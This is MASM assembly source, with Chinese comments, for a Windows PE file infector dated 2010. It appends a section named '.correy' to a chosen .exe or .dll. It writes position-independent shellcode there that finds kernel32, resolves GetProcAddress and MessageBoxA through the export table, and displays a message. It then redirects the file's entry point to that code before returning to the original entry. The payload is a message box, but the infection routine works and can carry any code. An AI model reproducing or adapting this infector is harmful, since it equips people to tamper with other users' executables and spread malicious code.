;不能感染正在运行的文件(包括本身)。
;节头后面有数据的文件不能感染(系统文件的节头后面大多有数据)。
;没有没有异常处理。

.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include comdlg32.inc

includelib user32.lib
includelib kernel32.lib
includelib comdlg32.lib

.data
FilterString db "pe File (*.exe, *.dll)",0,"*.exe;*.dll",0,0
sectionname db ".correy ",0;新加节的名字。同时也是感染标志。
Characteristics dword 0e0000020h ;新加节的属性。
wrong db "节头后面有数据,添加节失败。",0
infect db "文件已经感染!",0

.data?
ofn OPENFILENAME <> 
buffercmp db 40 dup (?)
buffer db 256 DUP (?)
;好多变量哟!我看了就晕,因为pe32文件太复杂了。
mz dd ?
pe dd ?
OptionalHeader dd ?
header dd ? 
sizeOfOptionalHeader dd ?
sizeofallheader dd ?
lsizeofallheader dd ?
sections dd ?
newheader dd ?;新添加节的节头的位置
lnewheader dd ? ;新添加节的节头的距离
hfile dd ?
lpe dd ? ;pe的距离
sectionalignment dd ?
filealignment dd ?
x dd ?
y dd ?
z dd ?
startwritecode dd ?
newsizeofrawdata dd ?
newsizeofcode dd ?
newsizeofimage dd ?
alignvirtualsize dd ?
oldaddressofentrypoint dd ?
newaddressofentrypoint dd ?

.code

correy db "made by correy ",0
vdata db 0

szGetProcAddress db "GetProcAddress",0 
szLoadLibrary db 'LoadLibraryA',0
szUser32 db 'user32',0
szmessagebox db 'MessageBoxA',0

pel dd ?;
OptionalHeaderl dd ?;
headerl dd ? ;
sizeOfOptionalHeaderl dd ?;
sectionsl dd ?
nnps dd ?
e dd ?;
k dd ?;
apiaddress dd ?;
apinameaddress dd ?;
ordinaladdress dd ?;
apis dd ? 
n dd ?;
i dd ?;
o dd ?;
f dd ?;
ob dd ?
ipapiloadlibrary dd ?
ipapiuser32 dd ?
ipapimessagebox dd ?

vstartcode:

call rel
rel: pop ebx
sub ebx,rel

push [esp]
mov edi,[esp]
and edi,0ffff0000h
againk:push edi
cmp word ptr [edi],5a4dh
jne nextk
add edi,[edi+3ch]
cmp word ptr [edi],4550h
jne nextk
pop edi
mov eax,edi
jmp showk
nextk:pop edi
sub edi,10000h
jmp againk
showk:mov [ebx+k],eax;[ebx+]
add eax,3ch
mov eax,[eax]
add eax,[ebx+k]
mov [ebx+pel],eax

mov esi,[ebx+pel]
add esi,6
mov dx,word ptr [esi]
movsx edx,dx
mov [ebx+sectionsl],edx

mov esi,[ebx+pel]
add esi,24
mov [ebx+OptionalHeaderl],esi ;保存可选头的地址。

mov esi,[ebx+pel]
add esi,20
mov dx,word ptr [esi]
movsx edx,dx
mov [ebx+sizeOfOptionalHeaderl],edx

mov esi,[ebx+OptionalHeaderl ]
add esi,[ebx+sizeOfOptionalHeaderl]
mov [ebx+headerl],esi ;保存节头的地址。

mov esi,[ebx+OptionalHeaderl]
add esi,96
mov esi,[esi]
mov edi,esi

add esi,[ebx+k]
add edi,[ebx+k]
mov [ebx+e],edi;导出节或导出目录表的首地址

mov edi,[ebx+e]
add edi,12
mov edi,[edi]
add edi,[ebx+k]

mov edi,[ebx+e]
add edi,16
mov edi,[edi]
mov [ebx+ob],edi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov edi,[ebx+e]
add edi,20
mov edi,[edi]
mov [ebx+apis],edi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov edi,[ebx+e]
add edi,24
mov edi,[edi]
mov [ebx+nnps],edi

mov edi,[ebx+e]
add edi,28
mov edi,[edi]
add edi,[ebx+k] 
mov [ebx+apiaddress],edi ;导出地址表的首地址

mov edi,[ebx+e]
add edi,32
mov edi,[edi]
add edi,[ebx+k]
mov [ebx+apinameaddress],edi ;导出名称指针表的首地址

mov edi,[ebx+e]
add edi,36
mov edi,[edi]
add edi,[ebx+k]
mov [ebx+ordinaladdress],edi ;导出序数表的首地址

;求GetProcAddress函数在文件中的位置
mov edx,[ebx+apinameaddress] 
xor eax,eax
againke:push edx
mov edi,[edx]
add edi,[ebx+k]

push eax
lea eax,[ebx+szGetProcAddress]
mov esi,eax
pop eax

mov ecx,14;GetProcAddress字符的长度。
repe cmpsb 
je nextke
pop edx
add edx,4
inc eax
jmp againke
nextke:add eax,[ebx+ob];加上基数
mov [ebx+i],eax

;求GetProcAddress函数的序数
mov eax,[ebx+i]
mov edx,[ebx+ordinaladdress]
shl eax,1
add eax,edx
movzx eax,word ptr [eax]
mov [ebx+o],eax

;求GetProcAddress函数的地址
mov eax,[ebx+o]
sub eax,[ebx+ob];减去基数
mov edx,[ebx+apiaddress]
shl eax,2
add eax,edx
mov eax,[eax]
add eax,[ebx+k]
mov [ebx+f],eax

;求loadlibrary函数的地址
lea eax,[ebx+szLoadLibrary]
push eax
push [ebx+k]
call [ebx+f];eax
mov [ebx+ipapiloadlibrary],eax

;求user32.dll文件的地址
lea eax,[ebx+szUser32]
push eax
call [ebx+ipapiloadlibrary]
mov [ebx+ipapiuser32],eax

;求MessageBox函数的地址
lea eax,[ebx+szmessagebox]
push eax
push [ebx+ipapiuser32]
call [ebx+f]
mov [ebx+ipapimessagebox],eax

;显示一个信息
push 0
lea eax,[ebx+correy]
push eax
push eax
push 0
call [ebx+ipapimessagebox]

jmptoold:
db 0e9h

oldentry:
dd ?

vendcode dd ?

alignit proc sizes,aligns
push edx
mov eax,sizes
xor edx,edx
div aligns
cmp edx,0
je next
inc eax
next:mul aligns
pop edx
ret
alignit endp

start:
mov ofn.lStructSize,SIZEOF ofn 
mov ofn.lpstrFilter, OFFSET FilterString 
mov ofn.lpstrFile, OFFSET buffer 
mov ofn.nMaxFile,512 
mov ofn.Flags,00281804h
invoke GetOpenFileName, ADDR ofn 
invoke CreateFile,addr buffer,0c0000000h,3,0,3,80h,0
mov hfile,eax
invoke CreateFileMapping,eax,0,2,0,0,0
invoke MapViewOfFile,eax,4,0,0,0 
;没有判断是否是pe文件,有极少数带pe后缀名却非正常pe格式的。
mov mz,eax

mov esi,mz
add esi,3ch
mov esi,[esi]
mov lpe,esi
mov eax,mz
add esi,eax
mov pe,esi;"pe"的位置。

mov esi,pe
add esi,6
mov dx,word ptr [esi]
movsx edx,dx
mov sections,edx;节的数目。

mov esi,pe
add esi,24
mov OptionalHeader,esi ;可选头的地址。

mov esi,pe
add esi,40
mov esi,[esi]
mov oldaddressofentrypoint,esi ;原来程序的入口点

mov esi,pe
add esi,20
mov dx,word ptr [esi]
movsx edx,dx
mov sizeOfOptionalHeader,edx;可选头的大小。

mov esi,pe
add esi,84
mov esi,[esi]
mov sizeofallheader,esi ;pe文件头的大小

mov eax,mz
add eax,sizeofallheader
mov lsizeofallheader,eax;第一个节的位置,也就是文件头的尾部。

mov esi,pe
add esi,56
mov esi,[esi]
mov sectionalignment,esi ;节对齐的尺寸。

mov esi,pe
add esi,60
mov esi,[esi]
mov filealignment,esi ;文件对齐的尺寸。

mov esi,OptionalHeader 
add esi,sizeOfOptionalHeader
mov header,esi ;保存节头的地址。

mov eax,40
mov ebx,sections
mul ebx
add eax,header
mov newheader,eax;预定新添加节的节头的位置
sub eax,mz
mov lnewheader,eax

;判断是否已经感染,感染标志是上一个节头的名字。
mov eax,newheader
sub eax,40
mov esi,eax
lea edi,sectionname
mov ecx,8
repe cmpsb
je infected

;判断预定的此位置是否可以使用。
;本人不善用scasb,所以定义个变量,用cmpsb.
lea esi,buffercmp
mov eax,mz
add eax,lnewheader
mov edi,eax
mov ecx,40
repe cmpsb
je startadd

jmp err

startadd:
;设置节的数量。
mov eax,lpe
add eax,6
invoke SetFilePointer,hfile,eax,0,0
inc sections
invoke WriteFile,hfile,addr sections,2,addr buffer,0

;设置节的名字。
invoke SetFilePointer,hfile,lnewheader,0,0
invoke WriteFile,hfile,addr sectionname,8,addr buffer,0

;设置新加节的virtualsize
mov x,offset vendcode - offset correy
invoke WriteFile,hfile,addr x,4,addr buffer,0

push sectionalignment
push x
call alignit
mov alignvirtualsize,eax

;设置新加节的virtualaddress
;实现方法是假设最后一个节头的virtualaddress最大。
;等于上一个节表的某两项之和。
mov eax,newheader
sub eax,28
mov eax,[eax]
mov y,eax

mov eax,newheader
sub eax,32
mov eax,[eax]
mov x,eax

push sectionalignment
push x
call alignit
add eax,y
mov y,eax
invoke WriteFile,hfile,addr y,4,addr buffer,0

;设置新加节的sizeofrawdata
push filealignment
push x
call alignit
mov newsizeofrawdata,eax
invoke WriteFile,hfile,addr newsizeofrawdata,4,addr buffer,0

;设置新加节的pointertorawdata
mov eax,newheader
sub eax,20
mov eax,[eax]
mov x,eax
mov eax,newheader
sub eax,24
mov eax,[eax]
add eax,x
mov startwritecode,eax
invoke WriteFile,hfile,addr startwritecode,4,addr buffer,0

;设置节的属性
mov eax,lnewheader
add eax,36
invoke SetFilePointer,hfile,eax,0,0
invoke WriteFile,hfile,addr Characteristics,4,addr buffer,0

;修改可选头的sizeofcode
mov eax,pe
add eax,28
mov eax,[eax]
add eax,newsizeofrawdata;alignvirtualsize;
mov newsizeofcode,eax
mov ebx,lpe
add ebx,28
invoke SetFilePointer,hfile,ebx,0,0
invoke WriteFile,hfile,addr newsizeofcode,4,addr buffer,0

;修改可选头的sizeofimage
mov eax,pe
add eax,80
mov eax,[eax]
add eax,alignvirtualsize;newsizeofrawdata
mov newsizeofimage,eax
mov ebx,lpe
add ebx,80
invoke SetFilePointer,hfile,ebx,0,0
invoke WriteFile,hfile,addr newsizeofimage,4,addr buffer,0

;修改程序的入口点
mov eax,lpe
add eax,40
invoke SetFilePointer,hfile,eax,0,0
mov eax,y
add eax,offset vstartcode - offset correy
mov newaddressofentrypoint,eax
invoke WriteFile,hfile,addr newaddressofentrypoint,4,addr buffer,0

;写文件
invoke SetFilePointer,hfile,startwritecode,0,0
invoke WriteFile,hfile,addr correy,offset vendcode - offset correy,addr buffer,0

mov eax,newsizeofrawdata
add eax,startwritecode
push eax
invoke SetFilePointer,hfile,eax,0,0

pop eax
sub eax,sizeof correy
invoke SetFilePointer,hfile,eax,0,0
invoke WriteFile,hfile,addr correy,sizeof correy,addr buffer,0

;转回源程序的入口点
mov eax,startwritecode
add eax,offset oldentry - offset correy
invoke SetFilePointer,hfile,eax,0,0
mov eax,y
add eax,offset vendcode - offset correy ;+ 5      jmptoold
sub oldaddressofentrypoint,eax
invoke WriteFile,hfile,addr oldaddressofentrypoint,4,addr buffer,0

invoke FlushFileBuffers,hfile
invoke CloseHandle,hfile
jmp exit

infected:
invoke MessageBox,0,addr infect,0,0
jmp exit

err:
invoke MessageBox,0,addr wrong,0,0

exit:
invoke ExitProcess,NULL
end start
;made at 2010.07.16